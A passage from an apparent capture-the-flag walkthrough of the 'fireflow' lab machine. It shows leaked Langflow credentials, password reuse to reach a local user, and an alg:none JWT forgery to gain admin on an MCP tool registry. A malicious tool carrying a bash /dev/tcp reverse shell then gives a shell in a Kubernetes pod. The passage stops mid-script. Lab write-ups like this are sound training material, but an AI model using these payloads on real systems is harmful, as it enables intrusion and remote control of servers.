&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;(&lt;/span&gt;remote&lt;span class="o"&gt;)&lt;/span&gt; www-data@fireflow:/&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;env&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight properties"&gt;&lt;code&gt;&lt;span class="py"&gt;LANGFLOW_SUPERUSER&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;langflow&lt;/span&gt;
&lt;span class="py"&gt;LANGFLOW_SUPERUSER_PASSWORD&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;n1ghtm4r3_b4_n1ghtf4ll&lt;/span&gt;
&lt;span class="py"&gt;LANGFLOW_SECRET_KEY&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;XgDCYma6JZzT3XXyePTbr4vgWrrZ4Vzz-PCQ4PXfKgE&lt;/span&gt;
&lt;span class="py"&gt;LANGFLOW_AUTO_LOGIN&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;False&lt;/span&gt;
&lt;span class="py"&gt;LANGFLOW_CONFIG_DIR&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;/var/lib/langflow&lt;/span&gt;
&lt;span class="err"&gt;...&lt;/span&gt; &lt;span class="err"&gt;[snipped]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The Langflow superuser password is &lt;code&gt;n1ghtm4r3_b4_n1ghtf4ll&lt;/code&gt;. We check &lt;code&gt;/etc/passwd&lt;/code&gt; to see what local users exist:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;(&lt;/span&gt;remote&lt;span class="o"&gt;)&lt;/span&gt; www-data@fireflow:/&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; /etc/passwd | &lt;span class="nb"&gt;grep &lt;/span&gt;bash
root:x:0:0:root:/root:/bin/bash
nightfall:x:1000:1000::/home/nightfall:/bin/bash
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;There is a local user &lt;code&gt;nightfall&lt;/code&gt;. We try the Langflow password for this user — password reuse across application accounts and system accounts is a very common misconfiguration:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;(&lt;/span&gt;remote&lt;span class="o"&gt;)&lt;/span&gt; www-data@fireflow:/&lt;span class="nv"&gt;$ &lt;/span&gt;su nightfall
Password: n1ghtm4r3_b4_n1ghtf4ll

nightfall@fireflow:/&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;whoami
&lt;/span&gt;nightfall
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Password reuse confirmed.&lt;/p&gt;




&lt;h2&gt;
  
  
  5. User Flag
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nightfall@fireflow:~&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;cat &lt;/span&gt;user.txt
&lt;span class="o"&gt;[&lt;/span&gt;REDACTED]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We enumerate further — SUID binaries reveal nothing useful, and &lt;code&gt;sudo -l&lt;/code&gt; shows nightfall has no sudo rights. The home directory contains a hidden &lt;code&gt;.mcp&lt;/code&gt; directory:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nightfall@fireflow:~&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-la&lt;/span&gt;
total 36
drwxr-x--- 5 nightfall nightfall 4096 May 12 15:28 &lt;span class="nb"&gt;.&lt;/span&gt;
...
drwx------ 2 nightfall nightfall 4096 Jun 27 02:05 .mcp
&lt;span class="nt"&gt;-rw-r-----&lt;/span&gt; 1 root      nightfall   33 Jun 27 02:05 user.txt

nightfall@fireflow:~&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;cd&lt;/span&gt; .mcp
nightfall@fireflow:~/.mcp&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-la&lt;/span&gt;
total 12
&lt;span class="nt"&gt;-rw-------&lt;/span&gt; 1 nightfall nightfall  146 Jun 27 02:05 config.json

nightfall@fireflow:~/.mcp&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;cat &lt;/span&gt;config.json
&lt;span class="o"&gt;{&lt;/span&gt;
  &lt;span class="s2"&gt;"server"&lt;/span&gt;: &lt;span class="s2"&gt;"http://&amp;lt;TARGET_IP&amp;gt;:30080"&lt;/span&gt;,
  &lt;span class="s2"&gt;"status_endpoint"&lt;/span&gt;: &lt;span class="s2"&gt;"/api/v1/version"&lt;/span&gt;,
  &lt;span class="s2"&gt;"user"&lt;/span&gt;: &lt;span class="s2"&gt;"langflow-bot"&lt;/span&gt;,
  &lt;span class="s2"&gt;"password"&lt;/span&gt;: &lt;span class="s2"&gt;"Langfl0w@mcp2026!"&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is an MCP (Model Context Protocol) AI Tool Registry running on port 30080 - a Kubernetes NodePort service. We have credentials.&lt;/p&gt;




&lt;h2&gt;
  
  
  6. Privilege Escalation - MCP Server Discovery
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Probing the MCP API
&lt;/h3&gt;

&lt;p&gt;We query the version endpoint to understand what we're working with:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nightfall@fireflow:~/.mcp&lt;span class="nv"&gt;$ &lt;/span&gt;curl http://&amp;lt;TARGET_IP&amp;gt;:30080/api/v1/version | jq
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"service"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"MCP AI Tool Registry"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"version"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"0.1.0"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"auth"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"type"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"JWT"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"header"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Authorization: Bearer &amp;lt;token&amp;gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"supported_algorithms"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="s2"&gt;"HS256"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="s2"&gt;"none"&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"endpoints"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="s2"&gt;"POST /mcp                        [MCP JSON-RPC 2.0]"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="s2"&gt;"POST /api/v1/auth"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="s2"&gt;"GET  /api/v1/tools"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="s2"&gt;"POST /api/v1/tools               [admin]"&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Two critical findings:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;The &lt;code&gt;supported_algorithms&lt;/code&gt; field lists &lt;strong&gt;both &lt;code&gt;HS256&lt;/code&gt; and &lt;code&gt;none&lt;/code&gt;&lt;/strong&gt; - this is the classic JWT "algorithm confusion" weakness.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;POST /api/v1/tools&lt;/code&gt; requires admin - we need to escalate our JWT role.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;We authenticate with the credentials from &lt;code&gt;config.json&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; http://&amp;lt;TARGET_IP&amp;gt;:30080/api/v1/auth &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Content-Type: application/json"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'{"username":"langflow-bot","password":"Langfl0w@mcp2026!"}'&lt;/span&gt; | jq
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"access_token"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJsYW5nZmxvdy1ib3QiLCJyb2xlIjoidXNlciJ9.RenGdHutrKPCOWjwYSJex8C_uMSmy7I8AMkhmTwf9Ps"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"token_type"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"bearer"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Decoding this JWT reveals the payload: &lt;code&gt;{"sub":"langflow-bot","role":"user"}&lt;/code&gt;. We need &lt;code&gt;role: admin&lt;/code&gt;.&lt;/p&gt;




&lt;h2&gt;
  
  
  7. JWT None Algorithm Bypass
&lt;/h2&gt;

&lt;h3&gt;
  
  
  The attack
&lt;/h3&gt;

&lt;p&gt;The server advertises &lt;code&gt;"none"&lt;/code&gt; as a supported algorithm. When &lt;code&gt;alg: none&lt;/code&gt; is used in a JWT, the signature is an empty string - meaning the server accepts the token without verifying any signature. This allows us to forge a token with any claims we want.&lt;/p&gt;

&lt;p&gt;Attempting to simply modify the payload on jwt.io and re-sign with HS256 fails because we don't know the secret key. But with &lt;code&gt;alg: none&lt;/code&gt; we don't need a key at all.&lt;/p&gt;

&lt;p&gt;We generate the forged token on our attacker machine:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;python3 - &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="no"&gt;EOF&lt;/span&gt;&lt;span class="sh"&gt;'
import jwt
print(jwt.encode({"sub":"langflow-bot","role":"admin"}, key="", algorithm="none"))
&lt;/span&gt;&lt;span class="no"&gt;EOF
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJsYW5nZmxvdy1ib3QiLCJyb2xlIjoiYWRtaW4ifQ.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Note the trailing &lt;code&gt;.&lt;/code&gt; with no signature - that's the &lt;code&gt;none&lt;/code&gt; algorithm format. We assign this to a variable:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;none_token&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJsYW5nZmxvdy1ib3QiLCJyb2xlIjoiYWRtaW4ifQ.'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Verifying admin access
&lt;/h3&gt;

&lt;p&gt;First we test listing tools (no auth required, just to establish baseline):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; http://&amp;lt;TARGET_IP&amp;gt;:30080/api/v1/tools &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Authorization: Bearer &lt;/span&gt;&lt;span class="nv"&gt;$none_token&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; | jq
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;"name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"ping_host"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"description"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Ping a target host 3 times and return ICMP output."&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;"name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"get_metrics_summary"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"description"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Return a summary of system memory and load average from /proc."&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;"name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"list_running_tasks"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"description"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"List the top 20 running processes sorted by CPU usage."&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We verify the token works for the admin-only tool registration endpoint by registering a harmless test tool:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-X&lt;/span&gt; POST http://&amp;lt;TARGET_IP&amp;gt;:30080/api/v1/tools &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Authorization: Bearer &lt;/span&gt;&lt;span class="nv"&gt;$none_token&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Content-Type: application/json"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'{"name":"x","description":"x","code":"print(1)"}'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;"status"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"registered"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"x"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We confirm code execution by calling it via the MCP JSON-RPC protocol:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; http://&amp;lt;TARGET_IP&amp;gt;:30080/mcp &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Authorization: Bearer &lt;/span&gt;&lt;span class="nv"&gt;$none_token&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Content-Type: application/json"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"x","arguments":{}}}'&lt;/span&gt; | jq
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"jsonrpc"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"2.0"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"result"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"content"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[{&lt;/span&gt;&lt;span class="nl"&gt;"type"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"text"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"text"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"1&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="p"&gt;}],&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"isError"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;print(1)&lt;/code&gt; executed server-side. Code execution via the MCP registry is confirmed.&lt;/p&gt;




&lt;h2&gt;
  
  
  8. MCP Tool Injection - Shell in Kubernetes Pod
&lt;/h2&gt;

&lt;p&gt;Now we register a malicious tool that sends a reverse shell when called. We start a listener (using Penelope for auto-PTY upgrade):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;penelope listen &lt;span class="nt"&gt;-p&lt;/span&gt; 4444
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Register the reverse shell as an MCP tool:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-X&lt;/span&gt; POST http://&amp;lt;TARGET_IP&amp;gt;:30080/api/v1/tools &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Authorization: Bearer &lt;/span&gt;&lt;span class="nv"&gt;$none_token&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Content-Type: application/json"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'{
    "name": "exploitnotes",
    "description": "evil",
    "code": "import os; os.system(\"bash -c '&lt;/span&gt;&lt;span class="se"&gt;\'&lt;/span&gt;&lt;span class="s1"&gt;'bash -i &amp;gt;&amp;amp; /dev/tcp/&amp;lt;YOUR_IP&amp;gt;/4444 0&amp;gt;&amp;amp;1'&lt;/span&gt;&lt;span class="se"&gt;\'&lt;/span&gt;&lt;span class="s1"&gt;'\")"
  }'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;"status"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"registered"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"exploitnotes"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Trigger it via the MCP endpoint:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; http://&amp;lt;TARGET_IP&amp;gt;:30080/mcp &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Authorization: Bearer &lt;/span&gt;&lt;span class="nv"&gt;$none_token&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Content-Type: application/json"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'{
    "jsonrpc": "2.0",
    "id": 9,
    "method": "tools/call",
    "params": {"name": "exploitnotes", "arguments": {}}
  }'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Penelope catches the shell:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;[+] [New Reverse Shell] =&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;mcp-server-54464cb475-29ztf &amp;lt;TARGET_IP&amp;gt; Linux-x86_64 mcp&lt;span class="o"&gt;(&lt;/span&gt;1000&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="go"&gt;[+] PTY upgrade successful via /usr/local/bin/python3

&lt;/span&gt;&lt;span class="gp"&gt;mcp@mcp-server-54464cb475-29ztf:/app$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;id&lt;/span&gt;
&lt;span class="go"&gt;uid=1000(mcp) gid=1000(mcp) groups=1000(mcp)

&lt;/span&gt;&lt;span class="gp"&gt;mcp@mcp-server-54464cb475-29ztf:/app$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;hostname&lt;/span&gt;
&lt;span class="go"&gt;mcp-server-54464cb475-29ztf
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The hostname format (&lt;code&gt;mcp-server-54464cb475-29ztf&lt;/code&gt;) is a Kubernetes pod name. We're inside a container.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note on shell instability:&lt;/strong&gt; The MCP server pod crashes and restarts roughly every &lt;strong&gt;two minutes&lt;/strong&gt; - the shell dies when the container restarts. To avoid re-doing all the steps each time, save the register + trigger commands into a script on the &lt;code&gt;nightfall&lt;/code&gt; machine and just re-run it whenever the shell dies:&lt;br&gt;
&lt;/p&gt;
&lt;/blockquote&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nightfall@fireflow:~/.mcp&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; shell.sh &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="no"&gt;EOF&lt;/span&gt;&lt;span class="sh"&gt;'
# 1. Register the reverse shell tool
